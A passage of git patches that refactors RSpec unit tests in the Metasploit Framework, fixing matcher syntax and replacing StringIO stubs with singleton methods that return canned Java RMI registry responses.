a/spec/lib/rex/exploitation/js/utils_spec.rb +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -7,7 +7,7 @@ RSpec.describe Rex::Exploitation::Js::Utils do context ".base64" do it "should load the base64 javascript" do js = Rex::Exploitation::Js::Utils.base64 - expect(js).to =~ /encode : function/ + expect(js).to match /encode : function/ end end diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index 273570e485..8e96de9d84 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -10,7 +10,7 @@ RSpec.describe Rex::Exploitation::RopDb do context ".initialize" do it "should initialize with a path of the ROP database ready" do - expect(ropdb.instance_variable_get(:@base_path)).to =~ /data\/ropdb\/$/ + expect(ropdb.instance_variable_get(:@base_path)).to match /data\/ropdb\/$/ end end @@ -39,12 +39,12 @@ RSpec.describe Rex::Exploitation::RopDb do context ".select_rop" do it "should return msvcrt gadgets" do gadgets = ropdb.select_rop('msvcrt') - expect(gadgets.length).to > 0 + expect(gadgets.length).to be > 0 end it "should return msvcrt gadgets for windows server 2003" do gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'}) - expect(gadgets.length).to > 0 + expect(gadgets.length).to be > 0 end it "should return msvcrt gadgets with a new base" do @@ -57,11 +57,11 @@ RSpec.describe Rex::Exploitation::RopDb do context ".generate_rop_payload" do it "should generate my ROP payload" do - expect(ropdb.generate_rop_payload('msvcrt', 'AAAA')).to =~ /AAAA$/ + expect(ropdb.generate_rop_payload('msvcrt', 'AAAA')).to match /AAAA$/ end it "should generate my ROP payload with my stack pivot" do - expect(ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'})).to =~ /^BBBB/ + expect(ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'})).to match /^BBBB/ end end diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 4a4546b098..157dfea901 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -427,7 +427,7 @@ RSpec.describe Rex::Post::Meterpreter::Packet do end it "should return a valid request id" do - expect(packet.rid).to =~ /\A\d{32}\Z/ + expect(packet.rid).to match /\A\d{32}\Z/ end it "should be created when Packet.create_request is called" do diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 28d15c9624..7a2f8562ed 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -122,7 +122,7 @@ RSpec.describe Msfupdate do it "sets @offline_file" do subject.parse_args(args) - expect(subject.instance_variable_get(:@offline_file)).to =~ Regexp.new(Regexp.escape(offline_file)) + expect(subject.instance_variable_get(:@offline_file)).to match Regexp.new(Regexp.escape(offline_file)) end context "with relative path" do @@ -145,7 +145,7 @@ RSpec.describe Msfupdate do it "sets @offline_file" do subject.parse_args(["--offline-file=#{offline_file}"]) - expect(subject.instance_variable_get(:@offline_file)).to =~ Regexp.new(Regexp.escape(offline_file)) + expect(subject.instance_variable_get(:@offline_file)).to match Regexp.new(Regexp.escape(offline_file)) end end end From c3e2615a2381813f8cc6bf0a08dd6ac1bf455a3a Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 13 Nov 2015 11:32:55 -0600 Subject: [PATCH 052/103] Implement stub methods instead using allow which verifies MSP-13484 --- .../remote/java/rmi/client/registry_spec.rb | 321 +++++++++--------- .../share/command/trans2/find_first2_spec.rb | 4 +- 2 files changed, 160 insertions(+), 165 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index 249e9c7c49..ef25deb248 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -7,133 +7,6 @@ require 'msf/core/exploit/java/rmi/client' require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do - - let(:list_with_names_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + - "\x00\x06\x6a\x6d\x78\x72\x6d\x69" - end - - let(:list_empty_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + - "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" - end - - let(:lookup_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + - "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + - "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + - "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + - "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + - "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + - "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + - "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + - "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + - "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + - "\x84\x49\x80\x01\x01\x78" - end - - let(:lookup_exception) do - "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + - "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + - "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + - "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + - "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + - "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + - "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + - "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + - "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + - "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + - "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + - "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + - "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + - "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + - "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + - "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + - "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + - "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + - "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + - "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + - "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + - "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + - "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + - "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + - "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + - "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + - "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + - "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + - "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + - "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + - "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + - "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + - "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + - "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + - "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + - "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + - "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + - "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + - "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + - "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + - "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + - "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + - "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + - "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + - "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + - "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + - "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + - "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + - "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + - "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + - "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + - "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + - "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + - "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + - "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + - "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + - "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + - "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + - "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + - "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + - "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + - "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + - "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + - "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + - "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + - "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + - "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + - "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + - "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + - "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + - "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + - "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + - "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + - "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + - "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" - end - let(:name) do 'jmxrmi' end @@ -154,19 +27,24 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_list" do context "when there aren't names registered" do before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(list_empty_response) - io.seek(0) + io.define_singleton_method(:put) do |data| + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + ) + seek(0) end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end + io.define_singleton_method(:get_once) { |length=0, timeout=nil| + read + } - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + io.define_singleton_method(:has_read_data?) { |timeout=nil| false - end + } end it "returns empty array" do @@ -175,20 +53,30 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do end context "when there are names registered" do + # + # Callbacks + # + before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(list_with_names_response) - io.seek(0) + io.define_singleton_method(:put) do |data| + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + ) + seek(0) end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end + io.define_singleton_method(:get_once) { |length=0, timeout=nil| + read + } - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + io.define_singleton_method(:has_read_data?) { |timeout=0| false - end + } end it "returns the list of registered names" do @@ -201,19 +89,110 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_lookup" do context "when there isn't an interface bound" do before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(lookup_exception) - io.seek(0) + io.define_singleton_method(:put) do |data| + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + + "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + + "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + + "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + + "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + + "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + + "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + + "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + + "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + + "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + + "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + + "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + + "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + + "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + + "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + + "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + + "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + + "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + + "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + + "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + + "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + + "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + + "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + + "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + + "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + + "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + + "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + + "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + + "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + + "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + + "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + + "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + + "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + + "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + + "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + + "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + + "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + + "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + + "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + + "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + + "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + + "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + + "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + + "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + + "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + + "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + + "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + + "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + + "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + + "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + + "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + + "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + + "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + + "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + + "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + + "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + + "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + + "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + + "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + + "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + + "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + + "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + + "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + + "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + + "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + + "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + + "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + + "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + + "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + ) + seek(0) end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, 